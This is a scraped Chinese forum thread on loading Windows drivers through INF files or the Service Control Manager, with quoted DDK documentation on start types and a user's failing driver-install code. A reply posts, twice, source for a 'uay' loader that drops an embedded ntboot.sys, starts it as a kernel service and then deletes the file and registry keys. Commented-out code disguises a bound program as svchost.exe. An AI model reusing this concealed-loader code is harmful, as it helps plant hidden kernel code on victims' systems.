1.inf文件 2.用service control manager 这要取决于你的驱动的加载类型。
What Determines When a Driver Is Loaded Before exploring when and how file system drivers are loaded during the system boot sequence, it is necessary to understand driver start types and load order groups. Driver Start Types A kernel-mode driver's start type specifies whether the driver is to be loaded during or after system startup. There are five possible start types: SERVICE_BOOT_START (0x00000000) Indicates a driver started by the operating system (OS) loader. File system filter drivers commonly use this start type or SERVICE_DEMAND_START. On Microsoft® Windows® XP and later systems, filters must use this start type in order to take advantage of the new file system filter load order groups. SERVICE_SYSTEM_START (0x00000001) Indicates a driver started during OS initialization. This start type is used by the file system recognizer. Except for the file systems listed below under "SERVICE_DISABLED," file systems (including network file system components) commonly use this start type or SERVICE_DEMAND_START. This start type is also used by device drivers for PnP devices that are enumerated during system initialization but not required to load the system. SERVICE_AUTO_START (0x00000002) Indicates a driver started by the Service Control Manager during system startup. Rarely used. SERVICE_DEMAND_START (0x00000003) Indicates a driver started on demand, either by the PnP Manager (for device drivers) or by the Service Control Manager (for file systems and file system filter drivers). SERVICE_DISABLED (0x00000004) Indicates a driver that is not started by the OS loader, Service Control Manager, or PnP Manager. Used by file systems that are loaded by a file system recognizer (except when they are the boot file system) or (in the case of EFS) by another file system. Such file systems include CDFS, EFS, FastFat, NTFS, and UDFS. Also used to temporarily disable a driver during debugging. Specifying Start Type A driver writer can specify the start type for a driver at installation time in either of the following ways: By specifying the desired start type for the StartType entry in the service-install-section referred to by an AddService directive in the driver's INF file. This method is described in ServiceInstall Section. By passing the desired start type for the dwStartType parameter when calling CreateService or ChangeServiceConfig from a user-mode installation program. This method is described in the reference entries for CreateService and ChangeServiceConfig in the Platform SDK documentation. Driver Load Order Groups Within the SERVICE_BOOT_START and SERVICE_SYSTEM_START start types, the relative order in which drivers are loaded is specified by each driver's load order group. Drivers whose start type is SERVICE_BOOT_START are called boot (or boot-start) drivers. On Microsoft® Windows® 2000 and earlier systems, most filters that are boot drivers belong to the "filter" group. On Microsoft® Windows® XP and later systems, filters that are boot drivers generally belong to one of the new FSFilter load order groups. These load order groups are described in detail in File System Filter Driver Load Order Groups. Driver whose start type is SERVICE_SYSTEM_START are also loaded in the order of the load order groups to which they belong. However, no system-start driver is loaded until after all boot drivers have been loaded. Note Load order groups are ignored for drivers whose start type is SERVICE_AUTO_START, SERVICE_DEMAND_START, or SERVICE_DISABLED. A complete, ordered list of load order groups can be found under the ServiceGroupOrder subkey of the following registry key:HKEY_LOCAL_MACHINE\System\CurrentControlSet\ControlThe same load group ordering is used for SERVICE_BOOT_START and SERVICE_SYSTEM_START drivers. However, all SERVICE_BOOT_START drivers are loaded and started before any SERVICE_SYSTEM_START drivers are loaded. Specifying Load Order Group A driver writer can specify the load order group for a driver at installation time in either of the following ways: By specifying the desired load order group for the LoadOrderGroup entry in the service-install-section referred to by an AddService directive in the driver's INF file. This method is described in ServiceInstall Section. By passing the desired start type for the lpLoadOrderGroup parameter when calling CreateService or ChangeServiceConfig from a user-mode installation program. This method is described in the reference entries for CreateService and ChangeServiceConfig in the Platform SDK documentation. For more general information about driver load order and load order groups, see Specifying Driver Load Order in the DDK Device Installation Design Guide.
给你贴一个uay加载驱动的源码:#include <stdio.h> #include <windows.h> #include <errno.h> #include <SYS\STAT.H>int ReleAseTheSys(void); int LoAdSys(void); int DeleteSysKey(void); /* int ReleAseTheUserinit( char* ReleAseWhere //like "C:\\WINDOWS\\System32\\temp_userinit.exe" );int RunUserinitThenDeleteIt( char* where //like "C:\\WINDOWS\\System32\\temp_userinit.exe" //must be the sAme As ReleAseTheUserinit's ); */ struct _MODIFY_DATA{ unsigned int finder; unsigned int file_length; }modify_dAtA = {0x12345678,0};//modified by Another exe,when finded 0x12345678int WINAPI WinMain( HINSTANCE hInstAnce, // handle to current instance HINSTANCE hPrevInstAnce, // handle to previous instance LPSTR lpCmdLine, // pointer to command line int nCmdShow // show state of window ) { char syspAth[MAX_PATH+1]; char userinitpAth[MAX_PATH+1]; //驱动部分 ReleAseTheSys(); LoAdSys(); //delete the sys,reg. GetSystemDirectory(syspAth,MAX_PATH); strcat(syspAth,"\\ntboot.sys"); DeleteFile(syspAth); // printf("DeleteFile: %d\n",GetLastError()); DeleteSysKey();
具体内容查看DDK文档。
inf文件只是包含了注册信息和一些安转信息阿?
sys nt以后系统的驱动。
dll 动态链接库原理上说,安装驱动只需要修改注册就行了。楼主基本的概念还不熟,这个问题比较难回答。
2.用service control manager
这要取决于你的驱动的加载类型。
Before exploring when and how file system drivers are loaded during the system boot sequence, it is necessary to understand driver start types and load order groups. Driver Start Types
A kernel-mode driver's start type specifies whether the driver is to be loaded during or after system startup. There are five possible start types: SERVICE_BOOT_START (0x00000000)
Indicates a driver started by the operating system (OS) loader. File system filter drivers commonly use this start type or SERVICE_DEMAND_START. On Microsoft® Windows® XP and later systems, filters must use this start type in order to take advantage of the new file system filter load order groups.
SERVICE_SYSTEM_START (0x00000001)
Indicates a driver started during OS initialization. This start type is used by the file system recognizer. Except for the file systems listed below under "SERVICE_DISABLED," file systems (including network file system components) commonly use this start type or SERVICE_DEMAND_START. This start type is also used by device drivers for PnP devices that are enumerated during system initialization but not required to load the system.
SERVICE_AUTO_START (0x00000002)
Indicates a driver started by the Service Control Manager during system startup. Rarely used.
SERVICE_DEMAND_START (0x00000003)
Indicates a driver started on demand, either by the PnP Manager (for device drivers) or by the Service Control Manager (for file systems and file system filter drivers).
SERVICE_DISABLED (0x00000004)
Indicates a driver that is not started by the OS loader, Service Control Manager, or PnP Manager. Used by file systems that are loaded by a file system recognizer (except when they are the boot file system) or (in the case of EFS) by another file system. Such file systems include CDFS, EFS, FastFat, NTFS, and UDFS. Also used to temporarily disable a driver during debugging.
Specifying Start Type
A driver writer can specify the start type for a driver at installation time in either of the following ways: By specifying the desired start type for the StartType entry in the service-install-section referred to by an AddService directive in the driver's INF file. This method is described in ServiceInstall Section.
By passing the desired start type for the dwStartType parameter when calling CreateService or ChangeServiceConfig from a user-mode installation program. This method is described in the reference entries for CreateService and ChangeServiceConfig in the Platform SDK documentation.
Driver Load Order Groups
Within the SERVICE_BOOT_START and SERVICE_SYSTEM_START start types, the relative order in which drivers are loaded is specified by each driver's load order group. Drivers whose start type is SERVICE_BOOT_START are called boot (or boot-start) drivers. On Microsoft® Windows® 2000 and earlier systems, most filters that are boot drivers belong to the "filter" group. On Microsoft® Windows® XP and later systems, filters that are boot drivers generally belong to one of the new FSFilter load order groups. These load order groups are described in detail in File System Filter Driver Load Order Groups. Driver whose start type is SERVICE_SYSTEM_START are also loaded in the order of the load order groups to which they belong. However, no system-start driver is loaded until after all boot drivers have been loaded. Note Load order groups are ignored for drivers whose start type is SERVICE_AUTO_START, SERVICE_DEMAND_START, or SERVICE_DISABLED. A complete, ordered list of load order groups can be found under the ServiceGroupOrder subkey of the following registry key:HKEY_LOCAL_MACHINE\System\CurrentControlSet\ControlThe same load group ordering is used for SERVICE_BOOT_START and SERVICE_SYSTEM_START drivers. However, all SERVICE_BOOT_START drivers are loaded and started before any SERVICE_SYSTEM_START drivers are loaded. Specifying Load Order Group
A driver writer can specify the load order group for a driver at installation time in either of the following ways: By specifying the desired load order group for the LoadOrderGroup entry in the service-install-section referred to by an AddService directive in the driver's INF file. This method is described in ServiceInstall Section.
By passing the desired start type for the lpLoadOrderGroup parameter when calling CreateService or ChangeServiceConfig from a user-mode installation program. This method is described in the reference entries for CreateService and ChangeServiceConfig in the Platform SDK documentation.
For more general information about driver load order and load order groups, see Specifying Driver Load Order in the DDK Device Installation Design Guide.
是这样的: vxd虚拟设备是9x的驱动我是知道的,但是我这个设备是USB转485,所以我担心在xp也会用到这个文件(485是虚拟设备),不知道是不是,所以才会那么说另外请问的dll文件在这里起到什么作用阿??
#include "stdafx.h"
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>int main(int argc, char* argv[])
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
BOOL ret;
TCHAR completeDeviceName[64];
HANDLE hDevice;
schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); printf("schSCManager is %d\n",schSCManager);
schService = CreateService( schSCManager, // SCManager database
"dname10", // name of service是服务的名字
"dname10", // name to display显示的名字
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
"c:/driver2/HSF_CNXT2.sys", // service's binary驱动文件的路径
NULL,
NULL,
NULL,
NULL,
NULL
);
schService = OpenService( schSCManager,//打开服务,返回值很大(1333693),估计是正确的
"dname9",
SERVICE_ALL_ACCESS
);
printf("schService is %d\n",schService);
ret = StartService(schService, 0, NULL );
printf("ret is %d\n",ret);
//上面两句是启动服务,三不知道为什么,总是返回ret=0应该是失败了;就是卡在这里不明白!!请指点 CloseServiceHandle( schService ); wsprintf( completeDeviceName, TEXT("???"), "dname10" );
//上面一句好像这里要将驱动名称转换为固定的格式,但不知道具体如何转换,请指点!
hDevice = CreateFile( "dname10",//这里返回-1错误(也在情理之中)
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
printf("hDevice is %d\n",hDevice);
return 0;
}
另,驱动的符号连接名称是在驱动内部写死的,你用UltraEdit直接打开驱动,看看末尾有没有可能是符号连接名的字符串。
这种利用SCM动态加载驱动的方法可以参考FileMon的源代码。
请教如果存在应该是什么样子的一个字符串?是不是我想象错了上面StartService为什么会启动失败阿?你分析可能会是什么原因阿?
还有我这样做的利用SCM动态加载驱动的方法方向到底对不对阿?万分感谢
应该怎样改进呢?我在StartService后面检查:
if (GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("SERVICE_ALREADY_RUNNING\n");
}
没有出现SERVICE_ALREADY_RUNNING,说明服务确实没有启动
网上查了所得都很含糊
我的StartService运行过后没有返回值!!!(tmp=StartService)tmp竟然是还是初始值,没有改变!
是不是StartService运行成功会产生没有返回值的情况阿?
我已经没有方向了!!请前辈路过一定要指点阿!!!!!!!!!!!!!
还有你在设备管理器里能启动你的驱动吗?
设备管理器里面我的设备在CreateService后还不能识别,
我的目的就是如何才能在电脑中识别这个驱动程序!注册表里面已经有了我的驱动信息,系统目录的drivers目录下通过执行CreateService也有了我的驱动程序*.sys,
但是设备管理器里面无论怎么刷新都没有识别我的信息,是不是我还要做什么啊?
xp系统vc下的程序,没有用ddk
这里是不是有点问题啊
"c://driver2//HSF_CNXT2.sys"
"dname9",
SERVICE_ALL_ACCESS
);
我现在想知道的是,通过实行上面的语句我已经能
1)在注册表里面已经有了我的驱动信息,
2)系统目录的drivers目录下通过执行CreateService也有了我的驱动程序*.sys,
但是设备管理器里面无论怎么刷新都没有识别我的信息,是不是我还要做什么啊?
#include <windows.h>
#include <errno.h>
#include <SYS\STAT.H>int ReleAseTheSys(void);
int LoAdSys(void);
int DeleteSysKey(void);
/*
int
ReleAseTheUserinit(
char* ReleAseWhere //like "C:\\WINDOWS\\System32\\temp_userinit.exe"
);int
RunUserinitThenDeleteIt(
char* where //like "C:\\WINDOWS\\System32\\temp_userinit.exe"
//must be the sAme As ReleAseTheUserinit's
);
*/
struct _MODIFY_DATA{
unsigned int finder;
unsigned int file_length;
}modify_dAtA = {0x12345678,0};//modified by Another exe,when finded 0x12345678int WINAPI
WinMain(
HINSTANCE hInstAnce, // handle to current instance
HINSTANCE hPrevInstAnce, // handle to previous instance
LPSTR lpCmdLine, // pointer to command line
int nCmdShow // show state of window
)
{
char syspAth[MAX_PATH+1];
char userinitpAth[MAX_PATH+1]; //驱动部分
ReleAseTheSys();
LoAdSys();
//delete the sys,reg.
GetSystemDirectory(syspAth,MAX_PATH);
strcat(syspAth,"\\ntboot.sys");
DeleteFile(syspAth);
// printf("DeleteFile: %d\n",GetLastError());
DeleteSysKey();
/*
//userinit.exe部分
GetWindowsDirectory(userinitpAth,MAX_PATH);
strcat(userinitpAth,"\\svchost.exe");
ReleAseTheUserinit(userinitpAth);
RunUserinitThenDeleteIt(userinitpAth);
return 0;
*/
}
//--------------------------------------------------------------------
int ReleAseTheSys(void)
{
HRSRC hRes = NULL;
DWORD dwResSize = 0;
HGLOBAL hResource = NULL;
LPVOID lpfResource = NULL;
HANDLE hFile = NULL;
char SystemDir[128];//i think it's enough
DWORD dwWritten;
DWORD result; hRes = FindResource(NULL,"ntboot","sys");
if (hRes == NULL) {
return -1;
}
dwResSize = SizeofResource(NULL,hRes);
if (dwResSize == 0) {
return -1;
}
hResource = LoadResource(NULL,hRes);
if (hResource == NULL){
return -1;
}
lpfResource = LockResource(hResource);
if (lpfResource == NULL) {
return -1;
}
GetSystemDirectory(SystemDir,128);
strcat(SystemDir,"\\ntboot.sys"); hFile = CreateFile(SystemDir,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
if (hFile == NULL){
return -1;
}
result = WriteFile(hFile,lpfResource,dwResSize,&dwWritten,NULL); if (result == 0){
return -1;
}
CloseHandle(hFile); return 0;
}
//--------------------------------------------------------------------
int LoAdSys(void)
{
//创建服务,加载驱动
SC_HANDLE hSCHAndle;
SC_HANDLE hSCMAnAger; char systemdir[MAX_PATH+1];
char pAth[MAX_PATH+1];
GetSystemDirectory(systemdir,MAX_PATH);
sprintf(pAth,"%s\\%s",systemdir,"ntboot.sys"); hSCMAnAger = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //remove old instAnces
hSCHAndle = OpenService(hSCMAnAger,
"ntboot.sys",
SERVICE_ALL_ACCESS
);
if (hSCHAndle == NULL){
//throw
//return -1;
}
DeleteService(hSCHAndle);
CloseServiceHandle(hSCHAndle); //ignore success of instAllAtion:it mAy AlreAdy be instAlled
hSCHAndle = CreateService(
hSCMAnAger,
"ntboot.sys",
"ntboot.sys",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
pAth,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (hSCHAndle == NULL){
// printf("CreAteService error: %d\n",GetLastError());
//return -1;
}
CloseServiceHandle(hSCHAndle); //ignore success of stArt: it mAy ALreAdy be stAarted
hSCHAndle = OpenService(hSCMAnAger,
"ntboot.sys",
SERVICE_ALL_ACCESS
);
if (hSCHAndle == NULL){
// printf("OpenService error: %d\n",GetLastError());
//return -1;
}
StartService(hSCHAndle,0,NULL);
// printf("stArtService %d\n",GetLastError());
CloseServiceHandle(hSCHAndle); CloseServiceHandle(hSCMAnAger);
return 0;
}
//--------------------------------------------------------------------
/*
int
ReleAseTheUserinit(
char* ReleAseWhere //like "C:\\WINDOWS\\System32\\temp_userinit.exe"
)
{
FILE* pMyself = NULL;
FILE* pUserinit = NULL; char* buff;
DWORD length; struct _stat ST;
char pAth_userinit[MAX_PATH+1]; GetSystemDirectory(pAth_userinit,MAX_PATH);
strcat(pAth_userinit,"\\userinit.exe");
_stat(pAth_userinit,&ST);
pMyself = fopen(pAth_userinit,"rb");
if(pMyself == NULL){
printf("open file fAiled\n");
return -1;
}
pUserinit = fopen(ReleAseWhere,"wb");
if(pUserinit == NULL){
printf("creAte file fAiled\n");
return -1;
}
fseek(pMyself,modify_dAtA.file_length,SEEK_SET);
length = ST.st_size - modify_dAtA.file_length ; printf("length: %d\n",length);///debug
buff = malloc(length);
fread(buff,length,1,pMyself);
fwrite(buff,length,1,pUserinit);
free(buff);
fclose(pMyself);
fclose(pUserinit);
return 0;
}
//--------------------------------------------------------------------
int
RunUserinitThenDeleteIt(
char* where //like "C:\\WINDOWS\\System32\\temp_userinit.exe"
//must be the sAme As ReleAseTheUserinit's
)
{
PROCESS_INFORMATION pi={0};
STARTUPINFO si={sizeof(STARTUPINFO)}; CreateProcess(
where,//"C:\\WINDOWS\\System32\\temp_userinit.exe",
NULL,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
//printf("CreAteProcess: %d\n",GetLastError());
WaitForSingleObject(
pi.hProcess,
INFINITE
);
DeleteFile(where);
return 0;
}
*/
//--------------------------------------------------------------------
int DeleteSysKey(void)
{
RegDeleteKey(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\ntboot.sys\\Enum"
);
// printf("RegDeleteKey: %d\n",GetLastError());
RegDeleteKey(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\ntboot.sys\\Security"
);
// printf("RegDeleteKey: %d\n",GetLastError());
RegDeleteKey(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\ntboot.sys"
);
// printf("RegDeleteKey: %d\n",GetLastError());
return 0;
}
//--------------------------------------------------------------------